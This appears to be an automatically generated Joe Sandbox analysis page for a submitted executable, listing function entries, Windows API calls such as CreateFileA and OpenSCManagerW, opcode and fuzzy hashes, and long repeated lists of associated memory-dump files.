Associated: 0000000A.00000002.1666423991.0000000000DCD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666452676.0000000000DDD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666477072.0000000000DDF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666502362.0000000000DE7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666526377.0000000000DE9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666554949.0000000000E03000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666585376.0000000000E06000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666614246.0000000000E1A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666638610.0000000000E1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666670560.0000000000E48000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666670560.0000000000E4E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666727956.0000000000E5E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666752673.0000000000E60000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bb0000_UOZM77Y2O77YBMEWY4B8DEDXRXA.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: ad03d882306dd7bc7097877c94e3624c97c9fdd111fc8d3ed1a9fa9875565efb
Instruction ID: a12de3278dcc2217e4c955e9987fde48e9d98e977044bfa101175db2c27adc50
Opcode Fuzzy Hash: ad03d882306dd7bc7097877c94e3624c97c9fdd111fc8d3ed1a9fa9875565efb
Instruction Fuzzy Hash: 9B21D3B654C641AFE305CF25DA51ABFB7B8EFC1730F31846BF445CA012D2A14A499B71

Function 00D37797 Relevance: 1.6, APIs: 1, Instructions: 78fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE ref: 00D3781D

Memory Dump Source

Source File: 0000000A.00000002.1665792055.0000000000D33000.00000040.00000001.01000000.00000006.sdmp, Offset: 00BB0000, based on PE: true

Associated: 0000000A.00000002.1665494352.0000000000BB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665519492.0000000000BB2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665545197.0000000000BB6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665568976.0000000000BBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665592198.0000000000BC6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665691841.0000000000D20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665719677.0000000000D23000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665744467.0000000000D31000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665767264.0000000000D32000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665792055.0000000000D3F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665839148.0000000000D45000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665862895.0000000000D46000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665891939.0000000000D64000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665915072.0000000000D65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665945237.0000000000D70000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665968527.0000000000D72000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665992213.0000000000D7A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666017837.0000000000D82000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666039196.0000000000D83000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666064272.0000000000D85000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666089487.0000000000D94000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666112900.0000000000D97000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666139089.0000000000DA7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666165277.0000000000DAB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666189499.0000000000DB4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666213978.0000000000DB5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666237090.0000000000DB6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666264551.0000000000DBD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666292373.0000000000DBE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666318681.0000000000DC0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666348502.0000000000DC8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666373639.0000000000DCA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666397406.0000000000DCB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666423991.0000000000DCD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666452676.0000000000DDD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666477072.0000000000DDF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666502362.0000000000DE7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666526377.0000000000DE9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666554949.0000000000E03000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666585376.0000000000E06000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666614246.0000000000E1A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666638610.0000000000E1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666670560.0000000000E48000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666670560.0000000000E4E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666727956.0000000000E5E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666752673.0000000000E60000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bb0000_UOZM77Y2O77YBMEWY4B8DEDXRXA.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: cb0b97d842b2f2aee230bfc3a534d7eb2e6f8d8838856b5337fe97194a2da516
Instruction ID: 1423f5d69e0d05cd7d139d8af31523dafe0b2d443b6017720cdddf69ce26c79d
Opcode Fuzzy Hash: cb0b97d842b2f2aee230bfc3a534d7eb2e6f8d8838856b5337fe97194a2da516
Instruction Fuzzy Hash: A111B1F600C659AEE711CF509990AFE7B6CFB86330F35442EF881D2942D2A51E189A35

Function 00D37562 Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1665792055.0000000000D33000.00000040.00000001.01000000.00000006.sdmp, Offset: 00BB0000, based on PE: true

Associated: 0000000A.00000002.1665494352.0000000000BB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665519492.0000000000BB2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665545197.0000000000BB6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665568976.0000000000BBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665592198.0000000000BC6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665691841.0000000000D20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665719677.0000000000D23000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665744467.0000000000D31000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665767264.0000000000D32000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665792055.0000000000D3F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665839148.0000000000D45000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665862895.0000000000D46000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665891939.0000000000D64000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665915072.0000000000D65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665945237.0000000000D70000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665968527.0000000000D72000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665992213.0000000000D7A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666017837.0000000000D82000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666039196.0000000000D83000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666064272.0000000000D85000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666089487.0000000000D94000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666112900.0000000000D97000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666139089.0000000000DA7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666165277.0000000000DAB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666189499.0000000000DB4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666213978.0000000000DB5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666237090.0000000000DB6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666264551.0000000000DBD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666292373.0000000000DBE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666318681.0000000000DC0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666348502.0000000000DC8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666373639.0000000000DCA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666397406.0000000000DCB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666423991.0000000000DCD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666452676.0000000000DDD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666477072.0000000000DDF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666502362.0000000000DE7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666526377.0000000000DE9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666554949.0000000000E03000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666585376.0000000000E06000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666614246.0000000000E1A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666638610.0000000000E1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666670560.0000000000E48000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666670560.0000000000E4E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666727956.0000000000E5E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666752673.0000000000E60000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bb0000_UOZM77Y2O77YBMEWY4B8DEDXRXA.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: bb82349964967f1594fb577851ba4f9ffafe98c1a26a70d6edc51a034369e3ed
Instruction ID: 0e873b4e278233cb114280cf42187bcccfc5ba1475fc9787aff60285f371e999
Opcode Fuzzy Hash: bb82349964967f1594fb577851ba4f9ffafe98c1a26a70d6edc51a034369e3ed
Instruction Fuzzy Hash: F611E07264C602AFD302DF75CA52BAFB7B8EF82720F20856BF145CA452D2B049459B71

Function 00D37577 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1665792055.0000000000D33000.00000040.00000001.01000000.00000006.sdmp, Offset: 00BB0000, based on PE: true

Associated: 0000000A.00000002.1665494352.0000000000BB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665519492.0000000000BB2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665545197.0000000000BB6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665568976.0000000000BBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665592198.0000000000BC6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665691841.0000000000D20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665719677.0000000000D23000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665744467.0000000000D31000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665767264.0000000000D32000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665792055.0000000000D3F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665839148.0000000000D45000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665862895.0000000000D46000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665891939.0000000000D64000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665915072.0000000000D65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665945237.0000000000D70000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665968527.0000000000D72000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665992213.0000000000D7A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666017837.0000000000D82000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666039196.0000000000D83000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666064272.0000000000D85000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666089487.0000000000D94000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666112900.0000000000D97000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666139089.0000000000DA7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666165277.0000000000DAB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666189499.0000000000DB4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666213978.0000000000DB5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666237090.0000000000DB6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666264551.0000000000DBD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666292373.0000000000DBE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666318681.0000000000DC0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666348502.0000000000DC8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666373639.0000000000DCA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666397406.0000000000DCB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666423991.0000000000DCD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666452676.0000000000DDD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666477072.0000000000DDF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666502362.0000000000DE7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666526377.0000000000DE9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666554949.0000000000E03000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666585376.0000000000E06000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666614246.0000000000E1A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666638610.0000000000E1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666670560.0000000000E48000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666670560.0000000000E4E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666727956.0000000000E5E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666752673.0000000000E60000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bb0000_UOZM77Y2O77YBMEWY4B8DEDXRXA.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: f2f2c92544dadbb2f02866381c617558e3c33b499f34af1af6fe7a817309a6cf
Instruction ID: 874460580d36ab19ca375f8d255e53382121e860cfb2db2f32d5ffdd6f9efdf8
Opcode Fuzzy Hash: f2f2c92544dadbb2f02866381c617558e3c33b499f34af1af6fe7a817309a6cf
Instruction Fuzzy Hash: 2311E5B254C601AFE302DF75C951BAFB7B8EF82360F21816BE144DA452D3B149458B71

Function 00D378E3 Relevance: 1.6, APIs: 1, Instructions: 62fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(?), ref: 00D379A1

Memory Dump Source

Source File: 0000000A.00000002.1665792055.0000000000D33000.00000040.00000001.01000000.00000006.sdmp, Offset: 00BB0000, based on PE: true

Associated: 0000000A.00000002.1665494352.0000000000BB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665519492.0000000000BB2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665545197.0000000000BB6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665568976.0000000000BBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665592198.0000000000BC6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665691841.0000000000D20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665719677.0000000000D23000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665744467.0000000000D31000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665767264.0000000000D32000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665792055.0000000000D3F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665839148.0000000000D45000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665862895.0000000000D46000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665891939.0000000000D64000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665915072.0000000000D65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665945237.0000000000D70000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665968527.0000000000D72000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665992213.0000000000D7A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666017837.0000000000D82000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666039196.0000000000D83000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666064272.0000000000D85000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666089487.0000000000D94000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666112900.0000000000D97000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666139089.0000000000DA7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666165277.0000000000DAB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666189499.0000000000DB4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666213978.0000000000DB5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666237090.0000000000DB6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666264551.0000000000DBD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666292373.0000000000DBE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666318681.0000000000DC0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666348502.0000000000DC8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666373639.0000000000DCA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666397406.0000000000DCB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666423991.0000000000DCD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666452676.0000000000DDD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666477072.0000000000DDF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666502362.0000000000DE7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666526377.0000000000DE9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666554949.0000000000E03000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666585376.0000000000E06000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666614246.0000000000E1A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666638610.0000000000E1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666670560.0000000000E48000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666670560.0000000000E4E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666727956.0000000000E5E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666752673.0000000000E60000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bb0000_UOZM77Y2O77YBMEWY4B8DEDXRXA.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: bef8763f858471bd05458492d5e8d0620ee1c715b865fb6daad494bffb0ddc0e
Instruction ID: 126a9b64c5a8d37fff92636b085cd3e8c7923488c32a046a0adee2821847ee5c
Opcode Fuzzy Hash: bef8763f858471bd05458492d5e8d0620ee1c715b865fb6daad494bffb0ddc0e
Instruction Fuzzy Hash: 180126F210DA956EE3228F1499817BF3BA8CF86364F344996F0C2C6002D1604C06AB35

Function 05450D42 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 05450DCD

Memory Dump Source

Source File: 0000000A.00000002.1669372357.0000000005450000.00000040.00000800.00020000.00000000.sdmp, Offset: 05450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5450000_UOZM77Y2O77YBMEWY4B8DEDXRXA.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: b28ab0339d08baab666096dd002e5aad82fc6297085acaf7a3fd969f89db09a7
Instruction ID: c992163206e17d808c1a853d0023c08271864609c5508641ee4c216721f28f42
Opcode Fuzzy Hash: b28ab0339d08baab666096dd002e5aad82fc6297085acaf7a3fd969f89db09a7
Instruction Fuzzy Hash: CE2134BAC002189FCB10CFA9D885BDEFBF4FB88320F14815AD909AB305D774A544CBA4

Function 05450D48 Relevance: 1.6, APIs: 1, Instructions: 59COMMON

Download Yara Rule

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 05450DCD

Memory Dump Source

Source File: 0000000A.00000002.1669372357.0000000005450000.00000040.00000800.00020000.00000000.sdmp, Offset: 05450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5450000_UOZM77Y2O77YBMEWY4B8DEDXRXA.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 713e0ca82b8912b950dabcf2e7d7928f939e37dfe1d5ab5aa53fee909da5a871
Instruction ID: de369b9503fa510f18f4e59034152f04cc1c8e3565208baf65f5d902b0e2b3b1
Opcode Fuzzy Hash: 713e0ca82b8912b950dabcf2e7d7928f939e37dfe1d5ab5aa53fee909da5a871
Instruction Fuzzy Hash: 062113BAC012189FCB50CFA9D884BDEFBF4FB88320F14855AD909AB305D774A544CBA4

Function 00D37923 Relevance: 1.6, APIs: 1, Instructions: 58fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(?), ref: 00D379A1

Memory Dump Source

Source File: 0000000A.00000002.1665792055.0000000000D33000.00000040.00000001.01000000.00000006.sdmp, Offset: 00BB0000, based on PE: true

Associated: 0000000A.00000002.1665494352.0000000000BB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665519492.0000000000BB2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665545197.0000000000BB6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665568976.0000000000BBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665592198.0000000000BC6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665691841.0000000000D20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665719677.0000000000D23000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665744467.0000000000D31000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665767264.0000000000D32000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665792055.0000000000D3F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665839148.0000000000D45000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665862895.0000000000D46000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665891939.0000000000D64000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665915072.0000000000D65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665945237.0000000000D70000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665968527.0000000000D72000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665992213.0000000000D7A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666017837.0000000000D82000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666039196.0000000000D83000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666064272.0000000000D85000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666089487.0000000000D94000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666112900.0000000000D97000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666139089.0000000000DA7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666165277.0000000000DAB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666189499.0000000000DB4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666213978.0000000000DB5000.00000040.00000001.01000000.00000006.sdmpDownload File
